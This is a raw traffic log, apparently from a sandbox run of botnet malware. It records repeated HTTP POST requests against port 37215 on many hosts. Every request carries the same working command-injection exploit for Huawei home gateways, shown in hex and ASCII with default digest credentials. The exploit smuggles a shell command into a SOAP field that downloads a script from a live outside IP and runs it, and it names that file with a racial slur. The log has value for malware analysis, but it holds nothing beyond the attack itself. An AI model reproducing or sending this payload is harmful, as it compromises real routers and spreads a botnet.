Feb 19, 2024 18:37:50.240741968 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.15	33600	37.72.210.119	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:04.406040907 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.15	53748	31.136.214.215	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:15.415195942 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:15.969788074 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:17.057655096 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.265590906 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.617445946 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.321238041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:50.240729094 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.15	45638	31.136.193.242	37215

Timestamp	Bytes transferred	Direction	Data
